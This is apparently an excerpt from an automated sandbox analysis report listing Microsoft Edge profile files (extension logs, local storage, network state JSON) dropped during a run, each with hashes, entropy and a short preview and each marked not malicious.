Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.187633381328393
Encrypted:	false
SSDEEP:	6:PNal9+q2PN723oH+Tcwt8aPrqIFUt8cN2JZmw+cNA139VkwON723oH+Tcwt8amLJ:ljvVaYebL3FUt8Ag/+AA1z5OaYebQJ
MD5:	BC25E6ADD9427EF048A4CD7A3608BFAB
SHA1:	55C578123C475154B2BE5248B7D536324605FEF4
SHA-256:	11EF92ECF5C392FDCFF35893782D123DF21D53158AA88C46192553AE629FAF2F
SHA-512:	B2C2CBBC2D83BCB81BB5B1C244D35ACD1AAFE4BC0AA395E09EB5285EA956E34D5659A16FB5CE833F243B7AB59586ABCA93C64C6BEA49DC1D143A3D055D62206D
Malicious:	false
Preview:	2024/10/29-10:27:35.767 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-10:27:35.790 1c08 Recovering log #3.2024/10/29-10:27:35.794 1c08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.187633381328393
Encrypted:	false
SSDEEP:	6:PNal9+q2PN723oH+Tcwt8aPrqIFUt8cN2JZmw+cNA139VkwON723oH+Tcwt8amLJ:ljvVaYebL3FUt8Ag/+AA1z5OaYebQJ
MD5:	BC25E6ADD9427EF048A4CD7A3608BFAB
SHA1:	55C578123C475154B2BE5248B7D536324605FEF4
SHA-256:	11EF92ECF5C392FDCFF35893782D123DF21D53158AA88C46192553AE629FAF2F
SHA-512:	B2C2CBBC2D83BCB81BB5B1C244D35ACD1AAFE4BC0AA395E09EB5285EA956E34D5659A16FB5CE833F243B7AB59586ABCA93C64C6BEA49DC1D143A3D055D62206D
Malicious:	false
Preview:	2024/10/29-10:27:35.767 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-10:27:35.790 1c08 Recovering log #3.2024/10/29-10:27:35.794 1c08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.15909844054455
Encrypted:	false
SSDEEP:	6:PWl89+q2PN723oH+Tcwt865IFUt8cWXFUCXJZmw+cWWVX9VkwON723oH+Tcwt86L:CrvVaYeb/WFUt8f95/+0T5OaYeb/+SJ
MD5:	227763A0E254321953A239CB399121A5
SHA1:	87E80ECAB19B920CDE150A593B8EBC898F45C8E0
SHA-256:	23AE8D403F872F4599C455033B4A1A0616C75825D36F49A791B656970402E21E
SHA-512:	A4DEB215326E2D3F719110224951EFA333C09CC9F4D54E567C6141431B1EF6108470CEA949AE26175540AFED1F10E1BBE9E6ABC52067B8489734449AFEFD7B5F
Malicious:	false
Preview:	2024/10/29-10:27:35.801 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-10:27:35.802 1c08 Recovering log #3.2024/10/29-10:27:35.803 1c08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.15909844054455
Encrypted:	false
SSDEEP:	6:PWl89+q2PN723oH+Tcwt865IFUt8cWXFUCXJZmw+cWWVX9VkwON723oH+Tcwt86L:CrvVaYeb/WFUt8f95/+0T5OaYeb/+SJ
MD5:	227763A0E254321953A239CB399121A5
SHA1:	87E80ECAB19B920CDE150A593B8EBC898F45C8E0
SHA-256:	23AE8D403F872F4599C455033B4A1A0616C75825D36F49A791B656970402E21E
SHA-512:	A4DEB215326E2D3F719110224951EFA333C09CC9F4D54E567C6141431B1EF6108470CEA949AE26175540AFED1F10E1BBE9E6ABC52067B8489734449AFEFD7B5F
Malicious:	false
Preview:	2024/10/29-10:27:35.801 1c08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-10:27:35.802 1c08 Recovering log #3.2024/10/29-10:27:35.803 1c08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.177193578081477
Encrypted:	false
SSDEEP:	6:PKjIq2PN723oH+Tcwt8NIFUt8cRZmw+cLkwON723oH+Tcwt8+eLJ:fvVaYebpFUt8E/+k5OaYebqJ
MD5:	BB7D0453EA95AC702A79C07F4C04DD60
SHA1:	E0AD59299A215F5BD5409FD98C07A60165F6534F
SHA-256:	2996FC3361E4859913022C748E02A7E6EE4A0AFE63C0F129E3EF0C27C6D60DBF
SHA-512:	EBD2332FAB419FC7EB2110F7D16534EBD876B433A34844C19D128BC6291D76BC8073DEC7F0FF1B3C71E152DDCE8021963A6A0BA0283BF2B3223947235A5FA118
Malicious:	false
Preview:	2024/10/29-10:27:36.861 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-10:27:36.862 ff4 Recovering log #3.2024/10/29-10:27:36.862 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.177193578081477
Encrypted:	false
SSDEEP:	6:PKjIq2PN723oH+Tcwt8NIFUt8cRZmw+cLkwON723oH+Tcwt8+eLJ:fvVaYebpFUt8E/+k5OaYebqJ
MD5:	BB7D0453EA95AC702A79C07F4C04DD60
SHA1:	E0AD59299A215F5BD5409FD98C07A60165F6534F
SHA-256:	2996FC3361E4859913022C748E02A7E6EE4A0AFE63C0F129E3EF0C27C6D60DBF
SHA-512:	EBD2332FAB419FC7EB2110F7D16534EBD876B433A34844C19D128BC6291D76BC8073DEC7F0FF1B3C71E152DDCE8021963A6A0BA0283BF2B3223947235A5FA118
Malicious:	false
Preview:	2024/10/29-10:27:36.861 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-10:27:36.862 ff4 Recovering log #3.2024/10/29-10:27:36.862 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21848828281205318
Encrypted:	false
SSDEEP:	3:+qDntFlljq7A/mhWJFuQ3yy7IOWUue+/dweytllrE9SFcTp4AGbNCV9RUIRHOn:+qw75fOIe+/d0Xi99pEYvun
MD5:	22820F52D9FCFA6420B82CC6C4B6552F
SHA1:	3E6E212877FFFCCFEB15DB19D35D1ACF6044B0ED
SHA-256:	C728D7F3D07F2182BAA2AA562BEF70BC5FFB8D6F8E278EE2E03FE480C05B0D31
SHA-512:	B18ECC384B3F1422FCB3853C408B33F5908FA01B02A3E5369224D78EED17703F0F4ECB987A27F57A74A355CFD62B67B730013DACEE9FD9AB62D73B73928E0CC2
Malicious:	false
Preview:	.............4....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.548575450552367
Encrypted:	false
SSDEEP:	384:jj9P0ZxEQkQer0cW773pLgP/KbtPgam6I6RKToaAQhf:jdyWe23W7WP/VKRKc09
MD5:	DA2FA3E88A7E3196988247A1D684CE5E
SHA1:	37661D5A23823F45C457DC87FCD534F302C219BD
SHA-256:	02ABE72552A011D27DD039049295374CE7924A056DC81CB6D7AE17F05FBA47CE
SHA-512:	226D027B292F4BD7DFAD4BF04CC3A90E979473FF1E035B70584263249919F50E4AF6C710E94CD599D4F9893FF534BCBA8435FE5A1A570F7FEB7EE45CD71533AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.270464225732969
Encrypted:	false
SSDEEP:	12:CMvVaYeb8rcHEZrELFUt8q/+W5OaYeb8rcHEZrEZSJ:nVaYeb8nZrExg80OaYeb8nZrEZe
MD5:	7662767C4B567F10502DBAE5848087C0
SHA1:	ECC14CD85C9491551A09CCB2FF964526771FA7EE
SHA-256:	DBE1741C0EEE12B4EBDFE9BB606708B1ADF066FA30AC32025489657CCCE97C52
SHA-512:	1180705112EFC1F84204756F2603935E455EEE2895FE66F74E143ADE7B81FCE3BB2335A7445E84FF596F11524F8C1EBA0A6FCE35F366018DA9F96F410CA28F4A
Malicious:	false
Preview:	2024/10/29-10:27:37.950 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-10:27:37.951 ff4 Recovering log #3.2024/10/29-10:27:37.951 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.270464225732969
Encrypted:	false
SSDEEP:	12:CMvVaYeb8rcHEZrELFUt8q/+W5OaYeb8rcHEZrEZSJ:nVaYeb8nZrExg80OaYeb8nZrEZe
MD5:	7662767C4B567F10502DBAE5848087C0
SHA1:	ECC14CD85C9491551A09CCB2FF964526771FA7EE
SHA-256:	DBE1741C0EEE12B4EBDFE9BB606708B1ADF066FA30AC32025489657CCCE97C52
SHA-512:	1180705112EFC1F84204756F2603935E455EEE2895FE66F74E143ADE7B81FCE3BB2335A7445E84FF596F11524F8C1EBA0A6FCE35F366018DA9F96F410CA28F4A
Malicious:	false
Preview:	2024/10/29-10:27:37.950 ff4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-10:27:37.951 ff4 Recovering log #3.2024/10/29-10:27:37.951 ff4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.6727441153880624
Encrypted:	false
SSDEEP:	48:cZCW9XZf3sV03Sx4/XUNtYIWo0fGHHHxda2LoEJ:cd593CadIXRxLn
MD5:	02D67CDAB1EEE95AFEC49392BAFA4672
SHA1:	210B6655272E11848550054F47321B263D7D66BA
SHA-256:	16A10A96EDB27396143EB821555DFBFE74650C2D50B260701C31003E1567F21D
SHA-512:	A679EDF618F89240436136EF7CC9FD966FBA9939AAC47824DE1CCD6C24A0FA016A68B2A0981AFEFBAA7F9B8A4AF574C138526994B1A27F51F5978CFEA403DE20
Malicious:	false
Preview:	.g~V.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1730212065329.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730212066822.._https://ntp.msn.com..MUID!.332D7C0E6DDC69643E2069296C7D689D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730212065396,"schedule":[-1,11,-1,-1,9,-1,16],"scheduleFixed":[-1,11,-1,-1,9,-1,16],"simpleSchedule":[52,13,23,9,30,43,41]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730212065290.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241028.307"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Oct 29 2024 10:27:46 GMT-0400 (Eastern Daylight

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.181167181418464
Encrypted:	false
SSDEEP:	6:P88q2PN723oH+Tcwt8a2jMGIFUt8c8XJnFZZmw+c8TuqkwON723oH+Tcwt8a2jM4:E8vVaYeb8EFUt8x5FZ/+xaq5OaYeb8bJ
MD5:	0DE9BBA4D34E64BFE0FED4D4C0D3AB06
SHA1:	8DE83C0889AE3507145569CB98EF8D416FD205BE
SHA-256:	17AB203FF5B87154E5A514BF56529938FF58A5A3ACEAB7881A0547D359D0FAB3
SHA-512:	30FFBD30221C4AD7519BFDA2B81F9E644064F0CFE2A850E3BD8CB619DD52B7E9E2E4BF1E98B1542145B3B35D1B47471C529393DFAD65463B76DEAC0C96102A6A
Malicious:	false
Preview:	2024/10/29-10:27:36.979 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-10:27:36.980 1cd4 Recovering log #3.2024/10/29-10:27:36.984 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.181167181418464
Encrypted:	false
SSDEEP:	6:P88q2PN723oH+Tcwt8a2jMGIFUt8c8XJnFZZmw+c8TuqkwON723oH+Tcwt8a2jM4:E8vVaYeb8EFUt8x5FZ/+xaq5OaYeb8bJ
MD5:	0DE9BBA4D34E64BFE0FED4D4C0D3AB06
SHA1:	8DE83C0889AE3507145569CB98EF8D416FD205BE
SHA-256:	17AB203FF5B87154E5A514BF56529938FF58A5A3ACEAB7881A0547D359D0FAB3
SHA-512:	30FFBD30221C4AD7519BFDA2B81F9E644064F0CFE2A850E3BD8CB619DD52B7E9E2E4BF1E98B1542145B3B35D1B47471C529393DFAD65463B76DEAC0C96102A6A
Malicious:	false
Preview:	2024/10/29-10:27:36.979 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-10:27:36.980 1cd4 Recovering log #3.2024/10/29-10:27:36.984 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\05b0c3ee-961e-4c7f-a200-2361f7f20499.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4f767783-db2b-40f1-a2d4-1edaa3695256.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\51175d88-02ac-487a-b9fb-d93c2fbd9693.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6c562d4b-80c2-4a52-9914-56f2034be515.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1727
Entropy (8bit):	5.299169274335025
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFVtsF3fc7akEs6CgH5swCgHlbj:F2fSVS32akGTbTl/
MD5:	D18F066EB2F3417960BE4E2A8256415E
SHA1:	CAC589B9EA70DE22D1E614285EB1ABAD91ED4B26
SHA-256:	F3F97BB66727A5E459FA47A9BE8A00150CB69507B5146C7B30D011CA0E3CD80D
SHA-512:	67FC69B22BFB135C5CEE6EE120261D46CE89C81DDAA20A171FA4347E59EC66123A66B4408D915A3198B382617907012D815E7D9400DE7172E9E3E4D396083779
Malicious:	false
